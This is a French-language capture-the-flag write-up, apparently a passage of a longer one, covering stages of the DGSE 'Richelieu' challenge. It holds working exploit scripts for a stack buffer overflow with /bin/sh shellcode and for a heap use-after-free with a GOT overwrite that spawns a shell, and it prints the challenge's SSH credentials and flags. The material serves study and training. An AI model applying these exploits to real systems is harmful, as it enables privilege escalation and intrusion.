Has RWX segments $ cat /proc/sys/kernel/randomize_va_space 2 ``` ### Stack-based Buffer overflow #### Login : fgets() Lors de l'exécution du programme, la fonction `sub.login_40086d` est appelée. ![](https://i.imgur.com/2sFOnBe.png) La récupération de notre entrée `login` se fait avec la fonction `fgets()`. Cette fonction prend trois arguments. Le second argument `int size` est stocké dans le registre `RSI`. L'instruction `mov esi, 0x3e8` nous indique que le nombre maximal d'octets à lire pour l'entrée (argument 1 dans le registre `RDI`) est de `0x3e8`. La fonction `fgets()` est l'équivalent sécurisé de la fonction `gets()` et permet de vérifier la taille du buffer. Ce nombre maximal d'octets à lire est également inférieur à la taille du buffer alloué pour le login dans le main. ![](https://i.imgur.com/AKDgZFq.png) Etant donné que le buffer `login` est de 1024 octets et que 1024 est supérieur à 1000 (0x3e8), il n'y a donc pas de buffer overflow sur cette entrée. #### Pass : scanf() La récupération de notre entrée `pass` se fait avec la fonction `scanf()`. Cette fois-ci, pas de vérification de la taille du buffer. Un buffer overflow est possible. ![](https://i.imgur.com/ijK2uP8.png) D'après les instructions précédant le `scanf()`, la taille de la fenêtre prévue pour l'entrée `pass` est de `0x30`. Notre objectif est de remplir le buffer et d'écrire sur la sauvegarde de `RIP`, le pointeur d'instructions. Cette sauvegarde contient l'adresse de l'instruction suivant l'appel à fonction afin de poursuivre l'exécution du programme à l'issue de la fonction en cours. D'après [ce très bon article](https://beta.hackndo.com/fonctionnement-de-la-pile/) sur le fonctionnement de la pile, on sait aussi qu'entre notre fenêtre de `0x30` octets et notre sauvegarde de RIP, on a une sauvegarde de RBP. Cette sauvegarde contient l'adresse du début de fenêtre de pile avant l'appel à fonction. Cela permet d'accéder aux variables et paramètres de fonctions avec un décalage constant par rapport à RBP. ![](https://i.imgur.com/TC4h72L.png) En résumé, ces deux sauvegardes permettent de reprendre le fil d'exécution du programme. Afin de réécrire sur la sauvegarde de RIP pour rediriger le fil d'exécution, nous allons donc devoir remplir l'espace mémoire prévue pour `pass` ainsi que la sauvegarde de RBP. L'architecture 64 bits de notre programme indique que les registres ont une taille de 8 octets. On va donc devoir écrire 56 octets (`0x30` = 48 en décimal) suivi de l'adresse vers laquelle on souhaite rediriger l'exécution. ### Gadgets #### ROPgadget L'outil `ROPgadget` nous permet de lister les [gadgets](https://beta.hackndo.com/return-oriented-programming/) présents dans le binaire. Les gadgets sont des bouts de code permettant, mis bout à bout, de mener des actions non-prévues initialement (exemple : générer un shellcode à la volée). ```shell $ ROPgadget --binary prog.bin [...] 0x00000000004009fa : call qword ptr [rsp + rbx*8] 0x0000000000400538 : call rax 0x0000000000400869 : cmp byte ptr [rbx + 0x5d], bl ; ret 0x0000000000400831 : dec dword ptr [rbx + 0x458be855] ; in al, 1 ; ret 0x458b [...] ``` On remarque l'instruction `call rax`. #### Contexte ![](https://i.imgur.com/2j88Tc5.png) La fin de la fonction `sub.login_40086d` fait appel à une fonction `sub.strcasestr_4006a6`. Si le résultat est `false`, l'adresse du login entré est stocké dans le registre RAX et retourné par la fonction `sub.login_40086d`. ### Plan d'attaque #### Théorie Le buffer overflow lors de l'entrée `pass` va nous permettre de réécrire sur la sauvegarde de RIP pour rediriger le fil d'exécution vers le gadget `call rax`. Nous allons alors faire en sorte de passer un shellcode dans l'entrée `login`, de respecter les conditions permettant à l'adresse de l'entrée d'être passée dans RAX, et ainsi d'exécuter notre shellcode. #### Obstacle ![](https://i.imgur.com/RJkABLX.png) Dans le cas où la longueur du `login` entré est supérieure à 10 caractères, le 11ème caractère de la chaîne est mis à `\x00`. On va devoir prévoir un padding dans le shellcode pour contourner cet obstacle. ### Payload Nous allons utiliser [le shellcode suivant](http://shell-storm.org/shellcode/files/shellcode-806.php). ``` \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 ``` Pour contourner l'écriture de `\x00` au 11ème caractère du login, on va écrire des instructions NOP précédées d'une instructions JMP pour passer les 11 premiers caractères. Ces NOP seront suivi du shellcode, puis d'un `\n` pour passer de l'entrée `login` à l'entrée `pass`. Pour l'entrée `pass`, nous allons devoir respecter les conditions données par le programme. ```shell [-] le mot de passe est compris dans le login (ou l'inverse) [-] mot de passe trop petit (moins de 8 caractères) [-] il n'y a pas de nombre [-] il n'y a pas de majuscule [-] il n'y a pas de caractère spécial ``` Si ces conditions ne sont pas respectées, le registre RAX ne contiendra pas l'adresse de l'entrée `login` mais `NULL`. ![](https://i.imgur.com/SDts8H5.png) On peut alors obtenir le script Python suivant. ```python # LOGIN # JMP $+15 : https://defuse.ca/online-x86-assembler.htm payload = "\xEB\x0D" # NOPsled payload += "\x90" * 20 # shellcode execve("/bin/sh") : http://shell-storm.org/shellcode/files/shellcode-806.php payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # login --> pass payload += "\n" # PASS # Password conditions payload += "b$0" # Buffer Overflow payload += "A" * 53 # Address of gadget 'call rax' payload += "\x38\x05\x40" print(payload) ``` ### Exécution Sur la machine cible, un premier test est non-concluant. ```shell $ python solve.py | ./prog.bin [Rien] ``` On ne récupère pas de shell en tant que `defi2-drapeau`. ```shell $ python solve.py | strace -f ./prog.bin [...] execve("/bin/sh", ["/bin/sh"], NULL) = 0 [...] read(0, "", 8192) = 0 exit_group(0) = ? +++ exited with 0 +++ ``` On a bien l'exécution du shell en tant que `defi2-drapeau`, mais ne recevant rien par la suite, il est fermé. Nous devons donc maintenir le descripteur de fichier entrant (stdin) ouvert. ```shell $ (python solve.py; cat -) | ./prog.bin [...] $ id uid=1000(defi2) gid=1000(defi2) euid=1001(defi2-drapeau) egid=1001(defi2-drapeau) groups=1001(defi2-drapeau) $ cat drapeau.txt Suite du challenge Richelieu : ssh defi3.challengecybersec.fr -l defi3 -p 2222 mot de passe : DGSE{?uo20tPO4(o=A=dX3njr2y{emZQodR} ``` Le mot de passe pour la suite est **DGSE{?uo20tPO4(o=A=dX3njr2y{emZQodR}** # Privesc pwn : Use After Free (defi3) En se connectant en `ssh`, on arrive sur le répertoire `home` de l'utilisateur `defi3`. ```shell $ id uid=1000(defi3) gid=1000(defi3) groups=1000(defi3) $ pwd /home/defi3 $ ls -alh total 44K drwxr-xr-x 1 defi3 defi3 4.0K May 10 11:09 . drwxr-xr-x 1 root root 4.0K May 10 11:09 .. -rw-r--r-- 1 defi3 defi3 220 May 15 2017 .bash_logout -rw-r--r-- 1 defi3 defi3 3.5K May 15 2017 .bashrc -rw-r--r-- 1 defi3 defi3 32 May 10 11:09 .gdbinit -rw-r--r-- 1 defi3 defi3 675 May 15 2017 .profile -rw-r--r-- 1 defi3 defi3 7 May 10 11:09 .vimrc -r-------- 1 defi3-drapeau defi3-drapeau 564 Apr 29 15:43 drapeau.txt -r-sr-sr-x 1 defi3-drapeau defi3-drapeau 11K May 10 11:09 prog.bin ``` Rebelote, `prog.bin` est SETUID. ## Utilisation normale Le programme permet de gérer des éléments par des opérations classique de création, édition, affichage et suppression. ```shell $ ./prog.bin *************************************************** *** Bienvenue dans la gestion d éléments *** *** *** *** NB : Taille de l ID : 50 octets *** *** Vous pouvez mettre la taille *** *** en paramètre pour la changer *** *************************************************** Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie ``` ## Exploitation ### État de l'art Le fonctionnement du programme semble indique l'utilisation du tas (heap) par des opération de `malloc()`, `calloc()`, `free()` etc. Le programme est compilé pour une architecture 64 bits et l'ASLR est activée sur le système. Il y a également la protection NX (no-execute) d'activée indiquant qu'aucun segment de mémoire n'a à la fois des droits d'écriture et d'exécution. ```shell $ ssh defi3.challengecybersec.fr -l defi3 -p 2222 [...] $ file prog.bin prog.bin: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d1735723c3f394529a3679c7cb2e651800a3b8b9, stripped $ checksec prog.bin [*] '/home/defi3/prog.bin' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $ cat /proc/sys/kernel/randomize_va_space 2 ``` Dans ce genre de situations (manipulation du tas), un des éléments à regarder en priorité est la façon dont les données sont supprimées. Il se peut que le programme soit vulnérable à un "Use After Free". ### Stack-based Buffer Overflow Pour `defi2` il s'agissait d'exploiter un buffer overflow pour manipuler la pile (stack). Ici, d'après des tests d'utilisations, le programme ne semble pas vulnérable à du stack-based buffer overflow dans les entrées utilisateur. ### Heap-based Buffer Overflow Comme l'explique si bien [Pixis](https://beta.hackndo.com/use-after-free/), le tas est une zone mémoire utilisée de façon dynamique. La pile fonctionne par empilement et dépilement et le tas fonctionne avec des pointeurs, des adresses et des espaces mémoires accessibles tout le temps. La heap apporte de la flexibilité mais est plus coûteuse en temps et en ressources. Il faut manipuler cette zone avec précautions. #### Fonction `malloc()` Cette fonction permet d'allouer un bloc mémoire. La fonction prend en argument la taille du bloc souhaité et renvoi l'adresse du bloc (pointeur vers le début du bloc). ![](https://i.imgur.com/m6WkUNO.png) #### Fonction `free()` Cette fonction permet de libérer un espace mémoire. La fonction prend en argument le pointeur qui contient l'adresse du bloc. ![](https://i.imgur.com/lD3DQ21.png) Cette fonction ne permet par contre pas de réinitialiser le pointeur en lui-même. Sans une opération `pointeur = NULL;`, le pointeur contiendra toujours la même adresse d'un bloc de mémoire alors libéré. #### Use After Free Si une nouvelle allocation de mémoire est demandée et que le nouveau bloc libre convient (taille demandée/taille du bloc), le pointeur pointera toujours vers ce bloc mais les données n'auront peut-être rien à voir. ![](https://i.imgur.com/QkK5GBq.png) La technique `Use after free` revient à exploiter cette mauvaise pratique de ne pas initialiser un pointeur après la libération de l'espace mémoire qu'il pointe par `free()`. Lors de l'utilisation du programme, on peut identifier le bug. ```shell $ ./prog.bin *************************************************** *** Bienvenue dans la gestion d éléments *** *** *** *** NB : Taille de l ID : 50 octets *** *** Vous pouvez mettre la taille *** *** en paramètre pour la changer *** *************************************************** Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 1 élément 0 entrez nom $ shutdown élément 0 (50 octets max) entrez id $ shutdown ``` ```shell Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 2 ~~~~~~~~~~~~~ ~~ élément ~~ ~~~~~~~~~~~~~ élément[0] -> nom : shutdown élément[0] -> id : shutdown ``` ```shell Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 3 lequel $ 0 quoi (id : 1 nom : 2) $ 1 ``` ```shell Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 1 élément 1 entrez nom $ Oik= élément 1 (50 octets max) entrez id $ Oik= ``` ```shell Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 2 ~~~~~~~~~~~~~ ~~ élément ~~ ~~~~~~~~~~~~~ élément[0] -> nom : shutdown élément[0] -> id : Oik= élément[1] -> nom : Oik= élément[1] -> id : Oik= ``` Nous pouvons noter que `élément[0] -> id` passe de `shutdown` à `Oik=`, ce qui nous conforte dans l'idée d'un UAF (Use After Free) et nous permettant de supposer que nous sommes capable de modifier des pointeurs dans le tas. ### Plan d'attaque Etant donnée la présence de l'ASLR sur le système ciblé, les adresses des bibliothèques/fonctions sont aléatoires. En réalité, le programme charge les bibliothèques requises à une certaine adresse + un décalage aléatoire. L'objectif est de trouver ce décalage pour calculer ensuite l'adresse, à l'exécution, de la fonction qui nous intéresse à savoir `system`. #### PLT & GOT Lors de l'exécution du programme, à chaque passage du pointeur d'instruction RIP sur un call à une fonction référencée dans la PLT (Procedure Linkage Table), si la fonction en question n'est pas référencée dans la GOT (Global Offsets Table), un mécanisme interne à la PLT permet d'insérer la référence de la fonction dans la GOT. La GOT contient alors la vraie adresse de la fonction. Pour une bibliothèque donnée, si nous connaissons l'adresse d'une fonction dans cette bibliothèque ainsi que l'adresse réelle de la fonction dans la GOT, nous pouvons connaître le décalage aléatoire créé avec l'ASLR. Si nous connaissons le décalage, nous pouvons alors calculer la réelle adresse de la fonction de notre choix. #### Théorie 1. Faire fuiter l'adresse réelle d'une fonction 2. Trouver l'adresse de base de la bibliothèque `libc` 3. Calculer l'adresse de `system` 4. Exécuter `system` avec l'argument `/bin/sh` 5. Récupérer le flag Dans notre cas, les fonctions contenues dans la PLT sont `free`, `strcpy`, `puts`, `strlen`, `printf`, `fgets`, `atoll`, `malloc` et `atoi`. On a les adresses suivantes pour `free@got` et `puts@got`. ```shell $ objdump -R prog.bin [...] 0000000000602018 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5 0000000000602028 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 [...] ``` Nous allons utiliser la fonction `puts`, fonction d'affichage, pour lui faire afficher sa propre adresse réelle. Pour faire cela, nous passerons l'adresse de `puts@got` (référence de `puts` dans le segment `.got.plt`) en argument de `puts@plt` pour récupérer l'adresse réelle de la fonction et donc le décalage créé par l'ASLR. Soit `a` l'offset de `puts` dans la `libc`. Soit `b` l'adresse réelle de `puts` à l'exécution. L'adresse à laquelle la bibliothèque est chargé à l'exécution est `b-a`. Soit `c` l'offset de `system` dans la `libc`. L'adresse réelle de `system` à l'exécution sera `b-a+c`. Une fois l'adresse de `system` connue, nous devrions être en mesure d'exécuter du code. #### Pratique Dans une premier temps, nous allons créer un élément et analyser la structure du tas. ```shell $ gdb prog.bin pwndbg> info file //On cherche le point d entrée du programme [...] Entry point: 0x400680 [...] pwndbg> x/20i 0x400680 //On cherche ensuite l appel à main [...] 0x40069d: mov rdi,0x400ae8 0x4006a4: call QWORD PTR [rip+0x201946] [...] pwndbg> b * 0x00400e47 //On place un point d arrêt avant l appel à la fonction demandant le choix de l option pwndbg> run pwndbg> continue Continuing. Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 1 élément 0 entrez nom $ AAA élément 0 (50 octets max) entrez id $ BBB Breakpoint 1, 0x0000000000400e47 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x7ffff7e81490 (__strcpy_sse2_unaligned+912) ◂— mov edx, dword ptr [rsi] RDX 0x1 RDI 0x603bc0 ◂— 0x424242 /* 'BBB' */ RSI 0x7fffffffd390 ◂— 0x424242 /* 'BBB' */ R8 0x3 R9 0x7ffff7fa6500 ◂— 0x7ffff7fa6500 [...] ``` Le registre RDI semble contenir l'adresse à laquelle la chaîne "BBB" a été écrite. Nous pouvons utiliser cette adresse pour voir le contenu du tas. ```shell pwndbg> x/16gx 0x603bc0-80 0x603b70: 0x0000000000000000 0x0000000000000021 0x603b80: 0x0000000000603ba0 0x0000000000603bc0 0x603b90: 0x0000000000000000 0x0000000000000021 0x603ba0: 0x0000000000414141 0x0000000000000000 0x603bb0: 0x0000000000000000 0x0000000000000041 0x603bc0: 0x0000000000424242 0x0000000000000000 0x603bd0: 0x0000000000000000 0x0000000000000000 0x603be0: 0x0000000000000000 0x0000000000000000 ``` On a la structure suivante. ![](https://i.imgur.com/CcArvsG.png) Procédons aux opérations suivantes: - suppression de l'id de l'élément 0 ; - création d'un élément 1 ; - analyse du tas. ```shell pwndbg> continue Continuing. Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 3 lequel $ 0 quoi (id : 1 nom : 2) $ 1 Breakpoint 1, 0x0000000000400e47 in ?? () [...] pwndbg> continue Continuing. Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 1 élément 1 entrez nom $ CCC élément 1 (50 octets max) entrez id $ DDD Breakpoint 1, 0x0000000000400e47 in ?? () [...] pwndbg> x/24gx 0x603bc0-80 0x603b70: 0x0000000000000000 0x0000000000000021 0x603b80: 0x0000000000603ba0 0x0000000000603bc0 0x603b90: 0x0000000000000000 0x0000000000000021 0x603ba0: 0x0000000000414141 0x0000000000000000 0x603bb0: 0x0000000000000000 0x0000000000000041 0x603bc0: 0x0000000000444444 0x0000000000000000 0x603bd0: 0x0000000000000000 0x0000000000000000 0x603be0: 0x0000000000000000 0x0000000000000000 0x603bf0: 0x0000000000000000 0x0000000000000021 0x603c00: 0x0000000000603c20 0x0000000000603bc0 0x603c10: 0x0000000000000000 0x0000000000000021 0x603c20: 0x0000000000434343 0x0000000000000000 ``` On a alors la structure suivante. ![](https://i.imgur.com/64i1BmG.png) Le deuxième champs de l'élément 0 occupe une taille de 64 octets (entête taille chunk) et la structure contenant les pointeurs vers les champs de l'élément 0 fait 32 octets. Lors de l'allocation en mémoire pour cette structure, le chunk de 64 octets est trop grand, c'est donc le chunk suivant qui est alloué. Pour exploiter le Use After Free, nous allons faire en sorte de définir une taille d'id < 32 octets. Le programme prend en argument cette taille. Réitérons les opérations avec une taille d'id de 3 (minimum possible). Pour des raisons d'alignement mémoire, un malloc alloue au minimum 16 octets de donnée. ```shell pwndbg> run 3 pwndbg> continue Continuing. Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 1 élément 0 entrez nom $ AAA élément 0 ( 3 octets max) entrez id $ BBB Breakpoint 1, 0x0000000000400e47 in ?? () [...] pwndbg> continue Continuing. Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 3 lequel $ 0 quoi (id : 1 nom : 2) $ 1 Breakpoint 1, 0x0000000000400e47 in ?? () [...] pwndbg> continue Continuing. Que voulez-vous faire ? -> 1) nouvel élément -> 2) affichage -> 3) détruire un élément -> 4) changer de nom -> 5) changer d id -> 6) sortie choix $ 1 élément 1 entrez nom $ CCC élément 1 ( 3 octets max) entrez id $ DDD Breakpoint 1, 0x0000000000400e47 in ?? () [...] pwndbg> x/20gx 0x603b70 0x603b70: 0x0000000000000000 0x0000000000000021 0x603b80: 0x0000000000603ba0 0x0000000000603bc0 0x603b90: 0x0000000000000000 0x0000000000000021 0x603ba0: 0x0000000000414141 0x0000000000000000 0x603bb0: 0x0000000000000000 0x0000000000000021 0x603bc0: 0x0000000000603be0 0x0000000000603c00 0x603bd0: 0x0000000000000000 0x0000000000000021 0x603be0: 0x0000000000434343 0x0000000000000000 0x603bf0: 0x0000000000000000 0x0000000000000021 0x603c00: 0x0000000000444444 0x0000000000000000 ``` La structure est la suivante. ![](https://i.imgur.com/fYdbTrk.png) On peut donc maintenant réitérer l'opération plusieurs fois, écrire l'adresse de `puts@got` en modifiant un des pointeurs et l'adresse de `free@got` de la même façon. On pourra ainsi remplacer `free@got` par `puts@plt` avec l'option de changement de nom/id. ![](https://i.imgur.com/IzmnXjw.png) On pourra alors afficher l'adresse réelle de puts, calculer l'adresse de system, remplacer `free@got` par `system@libc` et exécuter du code. On va profiter du fait que l'on puisse entrer des chaînes de caractères dans le programme (stockées dans le tas) pour passer l'argument "/bin/sh" à la fonction `system`. ### Payload Pour exploiter ce programme, nous allons utiliser la bibliothèque `pwntools` en Python. Nous allons créer une fonction pour chaque option du programme. ***Note** : lors de nos tests, nous nous sommes rendus compte que la réécriture de `free@got` avec `puts@plt` laissait des résidus de l'adresse de `free@got`. Nous avons donc du prévoir l'écriture de null-bytes à l'adresse de (free@got + offset)* ![](https://i.imgur.com/IKFG0rE.png) ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * def nouvel_element(nom, id): p.sendline('1') p.sendline(nom) p.sendline(id) def affichage(): p.sendline('2') return p.recv(8192) def detruire_element(index, type): p.sendline('3') p.sendline(index) p.sendline(type) def changer_nom(index, nom): p.sendline('4') p.sendline(index) p.sendline(nom) def changer_id(index, id): p.sendline('5') p.sendline(index) p.sendline(id) l = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process(['./prog.bin', '3']) nouvel_element('AAA', 'BBB') detruire_element('0', '1') nouvel_element('CCC', 'DDD') # Réécrire (pointeur element[0] -> name) avec adresse de puts@got changer_id('0', "\x28\x20\x60") nouvel_element('EEE', 'FFF') detruire_element('2', '1') nouvel_element('GGG', 'HHH') # Réécrire (pointeur element[2] -> name) avec adresse de free@got changer_id('2', "\x18\x20\x60") nouvel_element('III', 'JJJ') detruire_element('4', '1') nouvel_element('KKK', 'LLL') # Réécrire (pointeur element[4] -> name) avec adresse de (free@got + offset) changer_id('4', "\x1c\x20\x60") nouvel_element('MMM', 'NNN') detruire_element('6', '1') nouvel_element('OOO', 'PPP') # Réécrire (pointeur element[6] -> name) avec adresse de (free@got + offset) changer_id('6', "\x1d\x20\x60") # Préparer l'argument de 'system()' nouvel_element('/bin/sh', 'QQQ') # Réécrire valeur free@got par puts@plt changer_nom('3', "\x10\x06\x40") # Réécrire (free@got + offset) par null byte changer_nom('5', "\x00") # Réécrire (free@got + offset) par null byte changer_nom('7', "\x00") # Dérouler le buffer p.recv(timeout=10) # Récupération de l'adresse réelle de puts detruire_element('1', '2') puts_leaked = p.recv(8192).split("quoi (id : 1 nom : 2) $ ")[1].split("\n")[0] puts_leaked += "\x00" * (8 - len(puts_leaked)) log.info("Leak of puts : " + hex(u64(puts_leaked))) # Calcul de l'adresse réelle de la libc libc = u64(puts_leaked) - l.symbols['puts'] log.info("Address of libc : " + hex(libc)) # Calcul de l'adresse de system dans la libc soumise à l'ASLR de notre processus sys_addr = libc + l.symbols['system'] log.info("Address of sys : " + hex(sys_addr)) sys = p64(sys_addr).strip("\x00") # Réécrire valeur free@got par system changer_nom('3', sys) detruire_element('8', '2') p.recv(8192) p.interactive() p.close() ``` On peut finalement récupérer le `drapeau.txt` ! ```shell defi3@AttrapeLeDrapeau:~$ ./exploit.py [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './prog.bin': pid 38 [*] Leak of puts : 0x7f77c8be8f90 [*] Address of libc : 0x7f77c8b80000 [*] Address of sys : 0x7f77c8bbf480 [*] Switching to interactive mode $ cat drapeau.txt Félicitations à vous, vous avez réussi l'intégralité du challenge Richelieu organisé par la DGSE ! Vous avez la perspicacité et le profil pour relever les défis technologiques au sein de nos équipes. Dès maintenant, vous pouvez envoyer le tag ****************** accompagné, si vous le souhaitez, d'un CV et d'une lettre de motivation à l'adresse suivante : ********************. Pour vous renseigner sur les métiers que nous recherchons : https://www.defense.gouv.fr/dgse/tout-le-site/nos-besoins-en-recrutement. ``` *Shutdown & Oik=*